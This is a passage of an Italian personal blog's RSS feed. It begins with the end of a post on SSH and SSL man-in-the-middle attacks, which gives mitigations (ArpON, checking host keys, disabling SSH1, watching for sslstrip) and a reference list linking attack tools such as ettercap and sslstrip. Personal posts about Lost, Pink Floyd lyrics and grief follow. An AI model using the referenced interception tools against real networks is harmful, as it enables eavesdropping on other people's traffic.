Poiche&#8217; non e&#8217; facile, si puo&#8217; comunque mitigare l&#8217;impatto di tutti questi attacchi.<br />
Soluzioni a livello di rete globali non sono ancora attuabili poiche&#8217; difficili da gestire e mantenere; una buona soluzione viene da ArpON[8], anche se soffre di qualche bug, ma installato sulle singole macchine puo&#8217; dare un forte aiuto.<br />
Per quanto riguarda l&#8217;attacco ad SSH2, c&#8217;e&#8217; da non fidarsi delle chiavi. Qual&#8217;ora venga presentato l&#8217;output sopra<br />
indicato, sarebbe buona norma fermarsi e contattare l&#8217;amministratore del server il quale potrebbe darvi il via libera<br />
(magari un cambio chiavi programmato) o fare indagini piu&#8217; accurate.<br />
L&#8217;SSH downgrade e&#8217; senza dubbio il piu&#8217; facile da debellare: basta disattivare il supporto ad SSH1.<br />
Per l&#8217;attacco ad SSL, ogni persona dovrebbe essere educata a diffidare di errori simili: nonostante siano frequenti i<br />
falsi negativi, c&#8217;era un bel detto: &#8220;fidarsi e&#8217; bene, non fidarsi e&#8217; meglio&#8221;.<br />
L&#8217;attacco tramite ssltrip fa leva su due cose: la possibilita&#8217; di un sito di accettare anche traffico in chiaro, e l&#8217;esperienza dell&#8217;utente. Per il primo punto, e&#8217; una questione server-side: e&#8217; un tradeoff tra sicurezza ed usabilita, ed ogni server sceglie in base alle sue esigenze (mai quelle dell&#8217;utente); per il secondo punto, e&#8217; un gioco in mano all&#8217;utente: se visito per la prima volta un sito che farebbe uso di HTTPS, tramite sslstrip io utente navigo in HTTP senza rendermi conto di nulla, se invece ho so&#8217; che un determinato sito fa uso di HTTPS, il fatto di non vederlo piu&#8217; utilizzato potrebbe insospettirmi.</p>
<p>Il resto e&#8217; fuffa.</p>
<p>[o] Note<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[1] http://www.arpalert.org</p>
<p>http://sourceforge.net/projects/darpwatch/</p>
<p>http://freequaos.host.sk/arpwatch/</p>
<p>[2] http://www.studenti.unina.it/~dav.barbato/papers/arpcachepoisoning.txt</p>
<p>[3] http://ettercap.sourceforge.net</p>
<p>http://www.studenti.unina.it/~dav.barbato/codes/barpo.html</p>
<p>http://nemesis.sourceforge.net/</p>
<p>[4] http://www.securesphere.net/download/papers/dnsspoof.htm</p>
<p>[5] http://www.david-guembel.de/index.php?id=6</p>
<p>[6] http://www.securityfocus.com/advisories/3087<br />
[7] http://www.thoughtcrime.org/software/sslstrip/<br />
[8] http://arpon.sourceforge.net/</p>
<p>© Offensive Security 2011</p>
<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.manuelelancia.com%2F2011%2F08%2Fsshssl-man-in-the-middle-attacks%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;font=arial&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px; height:80px"></iframe><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.manuelelancia.com%2F2011%2F08%2Fsshssl-man-in-the-middle-attacks%2F&amp;title=SSH%20ed%20SSL%20Man%20In%20The%20Middle%20Attacks" id="wpa2a_14"><img src="http://www.manuelelancia.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.manuelelancia.com/2011/08/sshssl-man-in-the-middle-attacks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ricordi dall&#8217;isola e dalla vita reale</title>
		<link>http://www.manuelelancia.com/2010/11/ricordi-dallisola-e-dalla-vita-reale/</link>
		<comments>http://www.manuelelancia.com/2010/11/ricordi-dallisola-e-dalla-vita-reale/#comments</comments>
		<pubDate>Tue, 09 Nov 2010 11:45:28 +0000</pubDate>
		<dc:creator>Manuele Lancia</dc:creator>
				<category><![CDATA[Lost]]></category>
		<category><![CDATA[Pensieri]]></category>
		<category><![CDATA[Serie Tv]]></category>
		<category><![CDATA[amicizia]]></category>
		<category><![CDATA[famiglia]]></category>

		<guid isPermaLink="false">http://www.manuelelancia.com/?p=164</guid>
		<description><![CDATA[http://www.youtube.com/watch?v=4YgRNoJoViY Non riesco a dimenticare. A distanza di tutti questi mesi, Lost riesce ancora oggi ad emozionarmi. Ogni qualvolta riapro questo video mi tornano alla mente gli anni passati davanti a questa serie televisiva ed i ricordi legati ad essa. Ricordi a volte anche dolorosi e tristi, come quelli di un amico perso per stupide [...]]]></description>
			<content:encoded><![CDATA[<p>http://www.youtube.com/watch?v=4YgRNoJoViY</p>
<p>Non riesco a dimenticare.<br />
A distanza di tutti questi mesi, Lost riesce ancora oggi ad emozionarmi.<br />
Ogni qualvolta riapro questo video mi tornano alla mente gli anni passati davanti a questa serie televisiva ed i ricordi legati ad essa.<br />
Ricordi a volte anche dolorosi e tristi, come quelli di un amico perso per stupide litigate.<br />
E mi soffermo a pensare a cosa stia facendo adesso e il perchè il mio fottuto orgoglio non mi permetta di prendere il telefono e chiamare.<br />
La vita è breve e dalla morte di Papà ho preso la decisione di viverla nel miglior modo possibile. La famiglia e gli amici sono dei doni importanti.<br />
Forse domani mi deciderò a riprendere contatti, forse dopodomani. Non so quando di preciso ma lo farò e spero tanto che il destino mi aiuti in questo.<br />
Chissà se poi un giorno ci ritroveremo tutti in un limbo come nel finale di Lost per aiutarci a ricordare il periodo più bello della nostra vita.<br />
E si. Lost è un fottuto capolavoro. </p>
<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.manuelelancia.com%2F2010%2F11%2Fricordi-dallisola-e-dalla-vita-reale%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;font=arial&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px; height:80px"></iframe><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.manuelelancia.com%2F2010%2F11%2Fricordi-dallisola-e-dalla-vita-reale%2F&amp;title=Ricordi%20dall%26%238217%3Bisola%20e%20dalla%20vita%20reale" id="wpa2a_16"><img src="http://www.manuelelancia.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.manuelelancia.com/2010/11/ricordi-dallisola-e-dalla-vita-reale/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pink Floyd &#8211; Mother</title>
		<link>http://www.manuelelancia.com/2010/11/pink-floyd-mother/</link>
		<comments>http://www.manuelelancia.com/2010/11/pink-floyd-mother/#comments</comments>
		<pubDate>Mon, 08 Nov 2010 08:25:00 +0000</pubDate>
		<dc:creator>Manuele Lancia</dc:creator>
				<category><![CDATA[Musica]]></category>
		<category><![CDATA[Pink Floyd]]></category>
		<category><![CDATA[Roger Waters]]></category>
		<category><![CDATA[Sinead O'Connor]]></category>
		<category><![CDATA[The Wall April 2011]]></category>

		<guid isPermaLink="false">http://www.manuelelancia.com/?p=161</guid>
		<description><![CDATA[Mother do you think they&#8217;ll drop the bomb? Mother do you think they&#8217;ll like the song? Mother do you think they&#8217;ll try to break my balls? Mother should I build the wall? Mother should I run for president? Mother should I trust the government? Mother will they put me in the firing line? Mother is [...]]]></description>
			<content:encoded><![CDATA[<p><iframe width="600" height="338" src="http://www.youtube.com/embed/UdvIUHw31js?fs=1&#038;feature=oembed" frameborder="0" allowfullscreen></iframe></p>
<p>Mother do you think they&#8217;ll drop the bomb?<br />
Mother do you think they&#8217;ll like the song?<br />
Mother do you think they&#8217;ll try to break my balls?<br />
Mother should I build the wall?<br />
Mother should I run for president?<br />
Mother should I trust the government?<br />
Mother will they put me in the firing line?<br />
Mother is it just a waste of time?<br />
[In the movie it was sung: "Mother am I really dying?"]</p>
<p>Hush now baby, baby, dont you cry.<br />
Mother&#8217;s gonna make all your nightmares come true.<br />
Mother&#8217;s gonna put all her fears into you.<br />
Mother&#8217;s gonna keep you right here under her wing.<br />
She wont let you fly, but she might let you sing.<br />
Mama will keep baby cozy and warm.<br />
Ooooh baby ooooh baby oooooh baby,<br />
Of course mama&#8217;ll help to build the wall.</p>
<p>Mother do you think she&#8217;s good enough&#8230;to me?<br />
Mother do you think she&#8217;s dangerous&#8230;to me?<br />
Mother will she tear your little boy apart?<br />
Mother will she break my heart?</p>
<p>Hush now baby, baby dont you cry.<br />
Mama&#8217;s gonna check out all your girlfriends for you.<br />
Mama wont let anyone dirty get through.</p>
<p>Mama&#8217;s gonna wait up until you get in.<br />
Mama will always find out where you&#8217;ve been.<br />
Mama&#8217;s gonna keep baby healthy and clean.<br />
Ooooh baby oooh baby oooh baby,<br />
You&#8217;ll always be baby to me.</p>
<p>Mother, did it need to be so high?</p>
<p>La traduzione </p>
<p>Mamma, pensi che sganceranno la bomba?<br />
Mamma, pensi che gli piacerà la canzone?<br />
Mamma, pensi che proveranno a rompermi le palle?<br />
Mamma dovrei costruire il muro?<br />
Mamma dovrei candidarmi come presidente?<br />
Mamma dovrei fidarmi del governo?<br />
Mamma mi manderanno in prima linea?<br />
Mamma è solo una perdita di tempo?</p>
<p>Silenzio, ora piccolino, non piangere.<br />
Mamma farà avverare ogni tuo incubo.<br />
Mamma ti inculcherà ogni suo timore.<br />
Mamma ti terrà al sicuro sotto la sua ala<br />
Certo non ti farà volare, ma forse ti farà cantare,<br />
Mamma terrà il suo bambino al caldo e coccolato .<br />
Ooooh piccolino ooooh bimbo mio oooooh,<br />
Non ti preoccupare ti aiuterà mamma a costruire il muro.</p>
<p>Mamma, pensi che lei vada abbastanza bene&#8230;per me?<br />
Mamma, pensi che sia pericolosa&#8230;per me?<br />
Mamma, porterà via con sé il tuo bambino?<br />
Mamma, dici che mi spezzerà il cuore?</p>
<p>Silenzio, ora piccolino, non piangere.<br />
Mamma controllerà tutte le tue amichette per te.<br />
Mamma non permetterà che si avvicini nessun malintenzionato.<br />
Mamma ti aspetterà alzata finche non rincaserai.<br />
Mamma riuscirà sempre a scoprire dove sei stato<br />
Mamma terrà sempre il suo bambino sano e pulito<br />
Ooooh, piccolino, oooh ,bambino,<br />
Sarai sempre il mio bambino.</p>
<p>Mamma, c’era bisogno che fosse così alto*?</p>
<p>E poi ci sono altre due versioni : quella del concerto In The Flash di Roger Waters e quella cantata insieme a Sinead O&#8217;Connor al concerto The Wall a Berlino</p>
<p><iframe width="600" height="450" src="http://www.youtube.com/embed/LWoyZixx1l4?fs=1&#038;feature=oembed" frameborder="0" allowfullscreen></iframe></p>
<p><iframe width="600" height="450" src="http://www.youtube.com/embed/gZ2tluarzZs?fs=1&#038;feature=oembed" frameborder="0" allowfullscreen></iframe></p>
<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.manuelelancia.com%2F2010%2F11%2Fpink-floyd-mother%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;font=arial&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px; height:80px"></iframe><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.manuelelancia.com%2F2010%2F11%2Fpink-floyd-mother%2F&amp;title=Pink%20Floyd%20%26%238211%3B%20Mother" id="wpa2a_18"><img src="http://www.manuelelancia.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.manuelelancia.com/2010/11/pink-floyd-mother/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sogni strani</title>
		<link>http://www.manuelelancia.com/2010/10/sogni-strani/</link>
		<comments>http://www.manuelelancia.com/2010/10/sogni-strani/#comments</comments>
		<pubDate>Mon, 11 Oct 2010 06:24:15 +0000</pubDate>
		<dc:creator>Manuele Lancia</dc:creator>
				<category><![CDATA[Pensieri]]></category>
		<category><![CDATA[Personale]]></category>
		<category><![CDATA[glioblastoma multiforme]]></category>
		<category><![CDATA[papà]]></category>
		<category><![CDATA[sogni]]></category>

		<guid isPermaLink="false">http://www.manuelelancia.com/?p=128</guid>
		<description><![CDATA[Chissà perchè stanotte l&#8217; ho sognato mentre compravamo del pesce in un paesino calabrese. Non riesco veramente a capire il meccanismo dei sogni, davvero.  Mi volete forse dire che il mio subconscio è così strano da farmi sognare mio padre in una situazione un pò anomala ? Certo, l&#8217;importante è averlo sognato, aver avuto la [...]]]></description>
			<content:encoded><![CDATA[<p>Chissà perchè stanotte l&#8217; ho sognato mentre compravamo del pesce in un paesino calabrese.<br />
Non riesco veramente a capire il meccanismo dei sogni, davvero.  Mi volete forse dire che il mio subconscio è così strano da farmi sognare mio padre in una situazione un pò anomala ? Certo, l&#8217;importante è averlo sognato, aver avuto la sensazione di vicinanza e presenza, quella che purtroppo manca nelle nostre vite da quando se n&#8217;è andato.<br />
Questa mattina, mentre venivo in motorino in ufficio, mi è tornato alla mente il gruppo su facebook dei famigliari di malati con glioblastoma. Ho paura ad entrarci di nuovo. Ho paura di leggere che qualcuno di loro se n&#8217;è andato come il mio papà. E mi domando perchè tutto questo&#8230; Perchè il mondo pensa solo a guerre e distruzione e non seriamente e realmente a trovare una cura per queste malattie.  Si perchè purtroppo non esisterà mai la cura per il cancro generica, ma una per ogni tipologia.  Continuiamo a sognare&#8230;.</p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/UlMWAl7tIro?fs=1&amp;hl=it_IT"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/UlMWAl7tIro?fs=1&amp;hl=it_IT" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.manuelelancia.com%2F2010%2F10%2Fsogni-strani%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;font=arial&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px; height:80px"></iframe><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.manuelelancia.com%2F2010%2F10%2Fsogni-strani%2F&amp;title=Sogni%20strani" id="wpa2a_20"><img src="http://www.manuelelancia.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.manuelelancia.com/2010/10/sogni-strani/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

